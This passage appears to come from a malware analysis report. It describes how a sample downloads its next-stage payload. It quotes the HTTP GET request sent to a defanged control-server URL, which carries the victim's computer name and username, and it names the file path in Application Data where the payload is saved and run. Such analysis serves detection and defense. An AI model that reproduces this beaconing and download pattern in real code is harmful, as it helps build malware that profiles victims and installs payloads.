The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex (note “ex,” not “exe”)  The capability to download additional components from the control server